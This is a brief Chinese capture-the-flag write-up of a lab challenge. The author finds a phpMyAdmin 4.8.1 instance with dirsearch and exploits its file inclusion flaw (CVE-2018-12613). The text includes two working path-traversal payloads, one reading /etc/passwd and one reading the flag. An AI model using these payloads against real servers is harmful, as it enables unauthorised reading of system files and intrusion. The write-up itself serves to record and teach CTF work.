进来是一堆乱码,查看源码,抓包都没发现什么,这个时候就只能用dirsearch
去扫一下了
可以看到有个/phpmyadmin界面访问一下
得到这样一个界面,关注的点应该在下面这个,一般这种都是查一下版本漏洞
这个是存在这样一个漏洞的phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
接下来执行一下漏洞复现
payload:phpmyadmin/?target=db_sql.php%253f/../../../../../../../../etc/passwd
执行成功,既然/etc/passwd可以被读取成功,就直接尝试一下读取flag
payload:phpmyadmin/?target=db_sql.php%253f/../../../../../../../../flag
拿到
(第一次写,纯纯记录一下)